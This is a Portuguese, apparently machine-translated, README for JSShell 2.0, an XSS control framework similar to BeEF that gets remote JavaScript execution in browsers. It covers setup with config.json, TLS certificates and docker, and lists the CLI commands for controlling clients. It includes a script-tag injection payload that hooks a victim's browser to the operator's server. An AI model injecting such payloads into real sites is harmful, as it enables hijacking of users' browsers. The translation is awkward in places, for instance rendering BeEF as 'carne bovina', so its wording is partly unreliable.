Um shell JavaScript interativo baseado na Web. Foi criado inicialmente para depurar navegadores esotéricos remotos durante experimentos e pesquisas. Essa ferramenta pode ser facilmente anexada ao XSS (carga de scripts transversais) para obter a execução do código remoto do navegador (semelhante à estrutura de carne bovina).
A versão 2.0 é criada inteiramente do zero, introduzindo novos recursos interessantes, estabilidade e manutenção.
Daniel Abeles.
<script> No diretório resources , atualize o arquivo config.json com a configuração desejada:
docker , escolha o host do banco de dados como db (que é o nome interno do host).shell.js faz algumas chamadas de AJAX para se registrar e pesquisar novos comandos. Normalmente, será http[s]://{YOUR_SERVER_IP}:{PORT} . Agora, a Jsshell suporta o TLS, o que significa que agora você pode gerar certificados TLS e alimentá -los com o servidor da Web. O servidor da Web inferirá o nome de domínio do arquivo config.json . Para criar o certificado, use o script create_cert.py na pasta scripts :
$ cd scripts
$ python create_cert.py --domain < YOUR_DOMAIN > --email < YOUR_EMAIL > Observe que o servidor da web deve estar inativo para que o script funcione corretamente. Neste ponto, geramos com sucesso nossos certificados! As únicas modificações que precisamos fazer são:
config.json , altere o esquema do campo URL para https .docker-compose.yml altere a porta exposta do contêiner web para 443 . Esta nova versão suporta a instalação e a execução de Jsshell via docker e docker-compose . Agora, para instalar e executar toda a estrutura Jsshell, basta executar:
$ ./scripts/start_docker_shell.shIsso irá:
JSShell Se você ainda deseja usar o método antiquado de instalação, basta ter um banco de dados MongoDB em funcionamento e atualize o arquivo config.json residindo no diretório resources .
Eu recomendo usar um ambiente virtual com pyenv :
$ pyenv virtualenv -p python3.6 venv
$ pyenv activate venv Ou usando virtualenv :
$ virtualenv -p python3.6 venv
$ source venv/bin/activateEm seguida, instale os requisitos:
$ pip install -r requirements.txt Se você usou o método docker , não há necessidade de executar o procedimento a seguir.
Caso contrário, depois de termos a configuração do banco de dados, precisamos iniciar o servidor da API da Web. Para fazer, corra:
$ python manage.py webIsso criará e executará um servidor da Web que ouve as conexões recebidas e serve nosso código Jsshell.
Agora, para iniciar a CLI da Jsshell, execute o mesmo script, mas agora com a bandeira shell :
$ python manage.py shell Após a configuração e execução dos componentes necessários, insira o comando help para ver os comandos disponíveis:
╦╔═╗┌─┐┬ ┬┌─┐┬ ┬
║╚═╗└─┐├─┤├┤ │ │
╚╝╚═╝└─┘┴ ┴└─┘┴─┘┴─┘ 2.0
by @Daniel_Abeles
>> help
Documented commands (type help <topic>):
General Commands
--------------------------------------------------------------------------------
edit Edit a file in a text editor
help List available commands or provide detailed help for a specific command
history View, run, edit, save, or clear previously entered commands
ipy Enter an interactive IPython shell
py Invoke Python command or shell
quit Exit this application
Shell Based Operations
--------------------------------------------------------------------------------
back Un-select the current selected client
clients List and control the clients that have registered to our system
commands Show the executed commands on the selected client
dump Dumps a command to the disk
execute Execute commands on the selected client
select Select a client as the current client
>>
Jsshell suporta 2 métodos de operação:
Semelhante a outras estruturas de controle XSS (como a carne bovina), o Jsshell é capaz de gerenciar explorações XSS bem -sucedidas. Por exemplo, se você puder injetar uma tag script , injete o seguinte recurso na sua carga útil e um novo cliente aparecerá em seu console:
<script src="http[s]://{YOUR_SERVER_IP}:{PORT}/content/js"></script>
Se você deseja depurar navegadores exóticos e esotéricos, basta navegar para http[s]://{YOUR_SERVER_IP}:{PORT}/ e um novo cliente aparecerá no seu cliente jsshell cli. Agora é degível através de nosso console jsshell.
Canop for json.prune